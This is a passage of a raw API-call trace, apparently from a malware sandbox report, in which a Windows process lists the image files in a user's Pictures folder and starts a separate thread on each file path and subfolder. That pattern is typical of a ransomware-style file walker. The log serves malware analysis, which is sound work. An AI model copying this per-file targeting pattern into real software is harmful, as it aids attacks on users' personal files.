returned="C:\\Users\\FD1HVy\\Pictures" [0063.615] wcscat (in: _Dest=0x3481028, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.615] wcscat (in: _Dest=0x3481028, _Source="dRSKsP.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif") returned="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif" [0063.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0063.615] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8b7fd0, ftCreationTime.dwHighDateTime=0x1d4cfec, ftLastAccessTime.dwLowDateTime=0x8234d7d0, ftLastAccessTime.dwHighDateTime=0x1d4caf0, ftLastWriteTime.dwLowDateTime=0x8234d7d0, ftLastWriteTime.dwHighDateTime=0x1d4caf0, nFileSizeHigh=0x0, nFileSizeLow=0x113fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="E2BOoAuTk7dJ.png", cAlternateFileName="E2BOOA~1.PNG")) returned 1 [0063.615] wcscmp (_String1="E2BOoAuTk7dJ.png", _String2=".") returned 1 [0063.615] wcscmp (_String1="E2BOoAuTk7dJ.png", _String2="..") returned 1 [0063.615] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481a38 [0063.616] wcscpy (in: _Dest=0x3481a38, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.616] wcscat (in: _Dest=0x3481a38, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.616] wcscat (in: _Dest=0x3481a38, _Source="E2BOoAuTk7dJ.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png") returned="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png" [0063.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0063.616] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283bc550, ftCreationTime.dwHighDateTime=0x1d4c941, ftLastAccessTime.dwLowDateTime=0x1b1b3c30, ftLastAccessTime.dwHighDateTime=0x1d4c675, ftLastWriteTime.dwLowDateTime=0x1b1b3c30, ftLastWriteTime.dwHighDateTime=0x1d4c675, nFileSizeHigh=0x0, nFileSizeLow=0x5adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="f3djQRK-nPfsqMQ a L3.jpg", cAlternateFileName="F3DJQR~1.JPG")) returned 1 [0063.616] wcscmp (_String1="f3djQRK-nPfsqMQ a L3.jpg", _String2=".") returned 1 [0063.616] wcscmp (_String1="f3djQRK-nPfsqMQ a L3.jpg", _String2="..") returned 1 [0063.616] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e420 [0063.616] wcscpy (in: _Dest=0x347e420, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.616] wcscat (in: _Dest=0x347e420, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.617] wcscat (in: _Dest=0x347e420, _Source="f3djQRK-nPfsqMQ a L3.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg" [0063.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0063.618] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb38230, ftCreationTime.dwHighDateTime=0x1d4d27f, ftLastAccessTime.dwLowDateTime=0xdb709d10, ftLastAccessTime.dwHighDateTime=0x1d4cd08, ftLastWriteTime.dwLowDateTime=0xdb709d10, ftLastWriteTime.dwHighDateTime=0x1d4cd08, nFileSizeHigh=0x0, nFileSizeLow=0x15fb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ft3t49Enj.jpg", cAlternateFileName="FT3T49~1.JPG")) returned 1 [0063.618] wcscmp (_String1="ft3t49Enj.jpg", _String2=".") returned 1 [0063.618] wcscmp (_String1="ft3t49Enj.jpg", _String2="..") returned 1 [0063.618] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x34310a0 [0063.618] wcscpy (in: _Dest=0x34310a0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.618] wcscat (in: _Dest=0x34310a0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.618] wcscat (in: _Dest=0x34310a0, _Source="ft3t49Enj.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg" [0063.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34310a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0063.619] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716e670, ftCreationTime.dwHighDateTime=0x1d4cc99, ftLastAccessTime.dwLowDateTime=0x178bd870, ftLastAccessTime.dwHighDateTime=0x1d4d2ed, ftLastWriteTime.dwLowDateTime=0x178bd870, ftLastWriteTime.dwHighDateTime=0x1d4d2ed, nFileSizeHigh=0x0, nFileSizeLow=0x15103, dwReserved0=0x0, dwReserved1=0x0, cFileName="GaWE9dNSiJD4.gif", cAlternateFileName="GAWE9D~1.GIF")) returned 1 [0063.619] wcscmp (_String1="GaWE9dNSiJD4.gif", _String2=".") returned 1 [0063.619] wcscmp (_String1="GaWE9dNSiJD4.gif", _String2="..") returned 1 [0063.619] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481f78 [0063.619] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.619] wcscat (in: _Dest=0x3481f78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.619] wcscat (in: _Dest=0x3481f78, _Source="GaWE9dNSiJD4.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif") returned="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif" [0063.619] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0063.620] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaacbfd0, ftCreationTime.dwHighDateTime=0x1d4ca40, ftLastAccessTime.dwLowDateTime=0xd78ecff0, ftLastAccessTime.dwHighDateTime=0x1d4cb50, ftLastWriteTime.dwLowDateTime=0xd78ecff0, ftLastWriteTime.dwHighDateTime=0x1d4cb50, nFileSizeHigh=0x0, nFileSizeLow=0x10ae7, dwReserved0=0x0, dwReserved1=0x0, cFileName="IH7LMh9XWm.gif", cAlternateFileName="IH7LMH~1.GIF")) returned 1 [0063.620] wcscmp (_String1="IH7LMh9XWm.gif", _String2=".") returned 1 [0063.620] wcscmp (_String1="IH7LMh9XWm.gif", _String2="..") returned 1 [0063.620] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430b78 [0063.620] wcscpy (in: _Dest=0x3430b78, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.620] wcscat (in: _Dest=0x3430b78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.620] wcscat (in: _Dest=0x3430b78, _Source="IH7LMh9XWm.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif") returned="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif" [0063.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0063.621] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a270d40, ftCreationTime.dwHighDateTime=0x1d4d2fb, ftLastAccessTime.dwLowDateTime=0x7c36fa20, ftLastAccessTime.dwHighDateTime=0x1d4d5bd, ftLastWriteTime.dwLowDateTime=0x7c36fa20, ftLastWriteTime.dwHighDateTime=0x1d4d5bd, nFileSizeHigh=0x0, nFileSizeLow=0x4334, dwReserved0=0x0, dwReserved1=0x0, cFileName="JU6O1UFyFQyHFg1.bmp", cAlternateFileName="JU6O1U~1.BMP")) returned 1 [0063.621] wcscmp (_String1="JU6O1UFyFQyHFg1.bmp", _String2=".") returned 1 [0063.621] wcscmp (_String1="JU6O1UFyFQyHFg1.bmp", _String2="..") returned 1 [0063.621] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427340 [0063.621] wcscpy (in: _Dest=0x3427340, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.621] wcscat (in: _Dest=0x3427340, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.621] wcscat (in: _Dest=0x3427340, _Source="JU6O1UFyFQyHFg1.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp" [0063.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0063.622] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d7b52c0, ftCreationTime.dwHighDateTime=0x1d4ca9a, ftLastAccessTime.dwLowDateTime=0x88dfc2d0, ftLastAccessTime.dwHighDateTime=0x1d4d305, ftLastWriteTime.dwLowDateTime=0x88dfc2d0, ftLastWriteTime.dwHighDateTime=0x1d4d305, nFileSizeHigh=0x0, nFileSizeLow=0x12910, dwReserved0=0x0, dwReserved1=0x0, cFileName="lSyelTg7.bmp", cAlternateFileName="")) returned 1 [0063.622] wcscmp (_String1="lSyelTg7.bmp", _String2=".") returned 1 [0063.622] wcscmp (_String1="lSyelTg7.bmp", _String2="..") returned 1 [0063.622] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3431200 [0063.622] wcscpy (in: _Dest=0x3431200, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.622] wcscat (in: _Dest=0x3431200, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.622] wcscat (in: _Dest=0x3431200, _Source="lSyelTg7.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\lSyelTg7.bmp" [0063.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0063.623] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa139370, ftCreationTime.dwHighDateTime=0x1d4d40c, ftLastAccessTime.dwLowDateTime=0xe030a810, ftLastAccessTime.dwHighDateTime=0x1d4d459, ftLastWriteTime.dwLowDateTime=0xe030a810, ftLastWriteTime.dwHighDateTime=0x1d4d459, nFileSizeHigh=0x0, nFileSizeLow=0x14489, dwReserved0=0x0, dwReserved1=0x0, cFileName="mY4vxcd0R8j6I-At bpl.jpg", cAlternateFileName="MY4VXC~1.JPG")) returned 1 [0063.623] wcscmp (_String1="mY4vxcd0R8j6I-At bpl.jpg", _String2=".") returned 1 [0063.623] wcscmp (_String1="mY4vxcd0R8j6I-At bpl.jpg", _String2="..") returned 1 [0063.623] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e570 [0063.623] wcscpy (in: _Dest=0x347e570, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.623] wcscat (in: _Dest=0x347e570, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.623] wcscat (in: _Dest=0x347e570, _Source="mY4vxcd0R8j6I-At bpl.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\mY4vxcd0R8j6I-At bpl.jpg" [0063.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0063.624] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a4d350, ftCreationTime.dwHighDateTime=0x1d4c59f, ftLastAccessTime.dwLowDateTime=0xb7a1ea20, ftLastAccessTime.dwHighDateTime=0x1d4c61d, ftLastWriteTime.dwLowDateTime=0xb7a1ea20, ftLastWriteTime.dwHighDateTime=0x1d4c61d, nFileSizeHigh=0x0, nFileSizeLow=0x71e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="n3cu4IuU_-Xu48.gif", cAlternateFileName="N3CU4I~1.GIF")) returned 1 [0063.624] wcscmp (_String1="n3cu4IuU_-Xu48.gif", _String2=".") returned 1 [0063.624] wcscmp (_String1="n3cu4IuU_-Xu48.gif", _String2="..") returned 1 [0063.624] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481c78 [0063.624] wcscpy (in: _Dest=0x3481c78, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.624] wcscat (in: _Dest=0x3481c78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.624] wcscat (in: _Dest=0x3481c78, _Source="n3cu4IuU_-Xu48.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif") returned="C:\\Users\\FD1HVy\\Pictures\\n3cu4IuU_-Xu48.gif" [0063.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0063.625] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda992c30, ftCreationTime.dwHighDateTime=0x1d4d484, ftLastAccessTime.dwLowDateTime=0x3f7ca790, ftLastAccessTime.dwHighDateTime=0x1d4d416, ftLastWriteTime.dwLowDateTime=0x3f7ca790, ftLastWriteTime.dwHighDateTime=0x1d4d416, nFileSizeHigh=0x0, nFileSizeLow=0x3b61, dwReserved0=0x0, dwReserved1=0x0, cFileName="N7LJw0ZvpU.jpg", cAlternateFileName="N7LJW0~1.JPG")) returned 1 [0063.625] wcscmp (_String1="N7LJw0ZvpU.jpg", _String2=".") returned 1 [0063.625] wcscmp (_String1="N7LJw0ZvpU.jpg", _String2="..") returned 1 [0063.625] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430bd0 [0063.625] wcscpy (in: _Dest=0x3430bd0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.625] wcscat (in: _Dest=0x3430bd0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.625] wcscat (in: _Dest=0x3430bd0, _Source="N7LJw0ZvpU.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\N7LJw0ZvpU.jpg" [0063.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0063.626] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58693cc0, ftCreationTime.dwHighDateTime=0x1d4c72b, ftLastAccessTime.dwLowDateTime=0x655820c0, ftLastAccessTime.dwHighDateTime=0x1d4d209, ftLastWriteTime.dwLowDateTime=0x655820c0, ftLastWriteTime.dwHighDateTime=0x1d4d209, nFileSizeHigh=0x0, nFileSizeLow=0x18ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="nh7z83ZmBfhc.gif", cAlternateFileName="NH7Z83~1.GIF")) returned 1 [0063.626] wcscmp (_String1="nh7z83ZmBfhc.gif", _String2=".") returned 1 [0063.626] wcscmp (_String1="nh7z83ZmBfhc.gif", _String2="..") returned 1 [0063.626] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3482158 [0063.626] wcscpy (in: _Dest=0x3482158, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.626] wcscat (in: _Dest=0x3482158, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.626] wcscat (in: _Dest=0x3482158, _Source="nh7z83ZmBfhc.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif") returned="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif" [0063.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0063.627] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b8380, ftCreationTime.dwHighDateTime=0x1d4d4f4, ftLastAccessTime.dwLowDateTime=0x7a246d40, ftLastAccessTime.dwHighDateTime=0x1d4c919, ftLastWriteTime.dwLowDateTime=0x7a246d40, ftLastWriteTime.dwHighDateTime=0x1d4c919, nFileSizeHigh=0x0, nFileSizeLow=0x12ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="NieW.bmp", cAlternateFileName="")) returned 1 [0063.627] wcscmp (_String1="NieW.bmp", _String2=".") returned 1 [0063.627] wcscmp (_String1="NieW.bmp", _String2="..") returned 1 [0063.627] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x3481078 [0063.627] wcscpy (in: _Dest=0x3481078, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.627] wcscat (in: _Dest=0x3481078, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.627] wcscat (in: _Dest=0x3481078, _Source="NieW.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp" [0063.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0063.628] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8078810, ftCreationTime.dwHighDateTime=0x1d4d0de, ftLastAccessTime.dwLowDateTime=0x85eb81e0, ftLastAccessTime.dwHighDateTime=0x1d4ce4b, ftLastWriteTime.dwLowDateTime=0x85eb81e0, ftLastWriteTime.dwHighDateTime=0x1d4ce4b, nFileSizeHigh=0x0, nFileSizeLow=0x140d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OqGnQ6ubAcgxmB97zti.png", cAlternateFileName="OQGNQ6~1.PNG")) returned 1 [0063.628] wcscmp (_String1="OqGnQ6ubAcgxmB97zti.png", _String2=".") returned 1 [0063.628] wcscmp (_String1="OqGnQ6ubAcgxmB97zti.png", _String2="..") returned 1 [0063.628] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e3b0 [0063.628] wcscpy (in: _Dest=0x347e3b0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.628] wcscat (in: _Dest=0x347e3b0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.628] wcscat (in: _Dest=0x347e3b0, _Source="OqGnQ6ubAcgxmB97zti.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png") returned="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png" [0063.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e3b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0063.628] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69f0ff00, ftCreationTime.dwHighDateTime=0x1d4c672, ftLastAccessTime.dwLowDateTime=0xc0d7530, ftLastAccessTime.dwHighDateTime=0x1d4ccc1, ftLastWriteTime.dwLowDateTime=0xc0d7530, ftLastWriteTime.dwHighDateTime=0x1d4ccc1, nFileSizeHigh=0x0, nFileSizeLow=0x106da, dwReserved0=0x0, dwReserved1=0x0, cFileName="QbTsr3.png", cAlternateFileName="")) returned 1 [0063.628] wcscmp (_String1="QbTsr3.png", _String2=".") returned 1 [0063.628] wcscmp (_String1="QbTsr3.png", _String2="..") returned 1 [0063.629] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x34810c8 [0063.629] wcscpy (in: _Dest=0x34810c8, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.629] wcscat (in: _Dest=0x34810c8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.629] wcscat (in: _Dest=0x34810c8, _Source="QbTsr3.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png") returned="C:\\Users\\FD1HVy\\Pictures\\QbTsr3.png" [0063.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34810c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750 [0063.629] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3c1f50, ftCreationTime.dwHighDateTime=0x1d4cdf8, ftLastAccessTime.dwLowDateTime=0x159d17c0, ftLastAccessTime.dwHighDateTime=0x1d4cd0e, ftLastWriteTime.dwLowDateTime=0x159d17c0, ftLastWriteTime.dwHighDateTime=0x1d4cd0e, nFileSizeHigh=0x0, nFileSizeLow=0x2cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="qlarU6xM.bmp", cAlternateFileName="")) returned 1 [0063.629] wcscmp (_String1="qlarU6xM.bmp", _String2=".") returned 1 [0063.630] wcscmp (_String1="qlarU6xM.bmp", _String2="..") returned 1 [0063.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430d88 [0063.630] wcscpy (in: _Dest=0x3430d88, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.630] wcscat (in: _Dest=0x3430d88, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.630] wcscat (in: _Dest=0x3430d88, _Source="qlarU6xM.bmp" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\qlarU6xM.bmp" [0063.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754 [0063.630] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51311410, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4e37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51311410, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0063.630] wcscmp (_String1="Saved Pictures", _String2=".") returned 1 [0063.630] wcscmp (_String1="Saved Pictures", _String2="..") returned 1 [0063.630] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3430e90 [0063.630] wcscpy (in: _Dest=0x3430e90, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0063.630] wcscat (in: _Dest=0x3430e90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0063.630] wcscat (in: _Dest=0x3430e90, _Source="Saved Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures") returned="C:\\Users\\FD1HVy\\Pictures\\Saved Pictures" [0063.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3430e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0063.631] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x3427ab8 | out: lpFindFileData=0x3427ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d768f0, 